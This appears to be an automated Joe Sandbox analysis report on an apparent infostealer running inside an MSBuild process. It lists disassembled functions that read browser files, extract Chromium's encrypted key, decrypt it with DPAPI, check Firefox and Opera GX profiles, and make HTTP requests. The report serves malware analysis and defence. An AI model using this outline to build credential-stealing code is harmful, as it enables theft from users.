lstrlenA.KERNEL32(?), ref: 0040B544
DeleteFileA.KERNEL32(?), ref: 0040B596

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ad945740b977ff1f36274d2f8366a4f9c8c35b8e2ebe285de2857eeab0d8ecfe
Instruction ID: f20441c87b7e9a3b4f7029758dad72c3b509e7d63b864ac140ecc9ec0d22b659
Opcode Fuzzy Hash: ad945740b977ff1f36274d2f8366a4f9c8c35b8e2ebe285de2857eeab0d8ecfe
Instruction Fuzzy Hash: 2D714072A00119ABCF01FBA5EE468CD7775EF14309F104036F500B71A2DBB9AE898B98

Function 0040D40E Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

StrStrA.SHLWAPI(00000000,?,00437538,0043688A), ref: 0040D49F
lstrlenA.KERNEL32(?), ref: 0040D4B2

Strings

^userContextId=4294967295, xrefs: 0040D4D7
moz-extension+++, xrefs: 0040D4DD

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: cbba276434d546cccf2bd678ca27597ed33bff2c91600e4374d997312367dd2d
Instruction ID: 85de75ec200c89e9111d7c6d064248f53d90c55406061a5cb20e0ca06024b096
Opcode Fuzzy Hash: cbba276434d546cccf2bd678ca27597ed33bff2c91600e4374d997312367dd2d
Instruction Fuzzy Hash: 15410B76A001199BCF10FBA6DD465CD77B5AF04308F51003AFD00B3192DBB8AE4D8AE9

Function 0040819F Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Part of subcall function 004080A1: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
Part of subcall function 004080A1: LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
Part of subcall function 004080A1: LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

, xrefs: 00408241
DPAPI, xrefs: 0040821B
"encrypted_key":", xrefs: 004081DF

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2311102621-738592651
Opcode ID: b934a5c9f4b9294abdda28911d3b7a5b7bcb53dff378b74b8385ba15c3e2a5a6
Instruction ID: d78dfd73ee8100a23edce15a91f2c70fa2f38e8288fa49592993377d3a11e596
Opcode Fuzzy Hash: b934a5c9f4b9294abdda28911d3b7a5b7bcb53dff378b74b8385ba15c3e2a5a6
Instruction Fuzzy Hash: 1121C232E40209ABDF14EB91DD41ADE7378AF41364F2045BFE950B72D1DF38AA49CA58

Function 00410CC0 Relevance: 6.0, APIs: 4, Instructions: 39memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
RtlAllocateHeap.NTDLL(00000000), ref: 00410CDF
GetLocalTime.KERNEL32(?), ref: 00410CEB
wsprintfA.USER32 ref: 00410D16

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 5c7da9d774efdaa0fdd76bf82abc7e5b87a86e22502ea334df05fc1f96782480
Instruction ID: 829b10f54598a7ff4258e043d4963b9d7c9dabd005c17a1734c4fecc941c9070
Opcode Fuzzy Hash: 5c7da9d774efdaa0fdd76bf82abc7e5b87a86e22502ea334df05fc1f96782480
Instruction Fuzzy Hash: 22F031B2900218BBDF14DFE59C059BF77BCAB0C716F001095F941E2180E6399A80D775

Function 00416330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416378
lstrcatA.KERNEL32(?), ref: 00416396

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
Part of subcall function 00415FD1: DeleteFileA.KERNEL32(?), ref: 0041629D
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

Strings

~{A, xrefs: 004164AE

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: ~{A
API String ID: 2104210347-1816022387
Opcode ID: 48da02e1e35bd615d58e63d55da032bf86aad5faf3161476d003d3cbf91425f6
Instruction ID: ef6e44f044fd48bf473e8ed9b3318a571f04af2e7fbcf45178638c8cb6289389
Opcode Fuzzy Hash: 48da02e1e35bd615d58e63d55da032bf86aad5faf3161476d003d3cbf91425f6
Instruction Fuzzy Hash: 3231F77280010DEFDF15EB60DC43EE8377AEB08314F1440AEF606932A1EA769B919F55

Function 0041683E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416873

Strings

ERROR, xrefs: 0041686B
ERROR, xrefs: 00416896

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: HttpInternet$OpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 3086566538-2579291623
Opcode ID: c006aa10760bc954efd806e84495a2d06b24e97a73256d69b96c1a27bfc4838e
Instruction ID: fa6cd13a443083575c3a824eeb1e5676c961334a8f4b47820412c2fdc9a040c1
Opcode Fuzzy Hash: c006aa10760bc954efd806e84495a2d06b24e97a73256d69b96c1a27bfc4838e
Instruction Fuzzy Hash: 6F014F75A00118ABCB20FB76D9469CD73A96F04308F55417BBC24E3293E7B8E9494AD9

Function 00416FA7 Relevance: 4.6, APIs: 3, Instructions: 70sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?), ref: 0041700E
CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID:
API String ID: 4198075804-0
Opcode ID: 1c6142cbbd9849c9f35e06356520fbbbc19007ee5fb9fef6d8df9f607a11363d
Instruction ID: 6ddc57dea45eff21f3b413cd8a29bb57df9be50e409c6c2ee2748a51ac3a6ecc
Opcode Fuzzy Hash: 1c6142cbbd9849c9f35e06356520fbbbc19007ee5fb9fef6d8df9f607a11363d
Instruction Fuzzy Hash: E6217832900229ABCF10EF96EC419DE7BB9FF44358F10402BF904A3150D738AA86CFA4

Function 00412446 Relevance: 4.5, APIs: 3, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460
WriteFile.KERNEL32(00000000,00000000,00414A8D,00414A8D,00000000,?,?,?,00414A8D), ref: 00412487
CloseHandle.KERNEL32(00000000,?,?,?,00414A8D), ref: 0041249E

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction ID: a587d297adf89e60fa6946fdd7da6f666782c0f167f87b21f29bcfda1cd19bad
Opcode Fuzzy Hash: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction Fuzzy Hash: 84F02471200118BFEF01AFA4DD8AFEF379CDF053A8F000022F951D6190D3A58D9157A5

Function 6CBA3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CBA3095

Part of subcall function 6CBA35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CC2F688,00001000), ref: 6CBA35D5
Part of subcall function 6CBA35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CBA35E0
Part of subcall function 6CBA35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CBA35FD
Part of subcall function 6CBA35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CBA363F
Part of subcall function 6CBA35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CBA369F
Part of subcall function 6CBA35A0: __aulldiv.LIBCMT ref: 6CBA36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CBA309F

Part of subcall function 6CBC5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CBC56EE,?,00000001), ref: 6CBC5B85
Part of subcall function 6CBC5B50: EnterCriticalSection.KERNEL32(6CC2F688,?,?,?,6CBC56EE,?,00000001), ref: 6CBC5B90
Part of subcall function 6CBC5B50: LeaveCriticalSection.KERNEL32(6CC2F688,?,?,?,6CBC56EE,?,00000001), ref: 6CBC5BD8
Part of subcall function 6CBC5B50: GetTickCount64.KERNEL32 ref: 6CBC5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CBA30BE

Part of subcall function 6CBA30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CBA3127
Part of subcall function 6CBA30F0: __aulldiv.LIBCMT ref: 6CBA3140

Part of subcall function 6CBDAB2A: __onexit.LIBCMT ref: 6CBDAB30

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 67421077a636f0769b6b2ee4cc6968bc27f4e28da806359e5cd2f7b8c8acc60f
Instruction ID: 62fcd741e7402e135453ae31e3097ce173936ba5ebd173aa0980f55933f3ffe8
Opcode Fuzzy Hash: 67421077a636f0769b6b2ee4cc6968bc27f4e28da806359e5cd2f7b8c8acc60f
Instruction Fuzzy Hash: 32F0F922E3079C9ACA10DF748841AEAB374EF6B214F511719E88463511FB64E5D98382

Function 00410C85 Relevance: 4.5, APIs: 3, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
HeapAlloc.KERNEL32(00000000,?,?,?,00401385), ref: 00410C98
GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction ID: 4a48e0897f6a5e53a67cc5d7e0c14adbc6ce47083a4b6c26751418be0e4428b5
Opcode Fuzzy Hash: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction Fuzzy Hash: 2DE08CB1200204BBD7449BD9AC8DF8A76BCDB84715F100226F605D6250EAB4C9848B68

Function 0040C95C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 286COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

StrCmpCA.SHLWAPI(?,Opera GX,00436853,0043684B,?,?,?), ref: 0040C98F

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

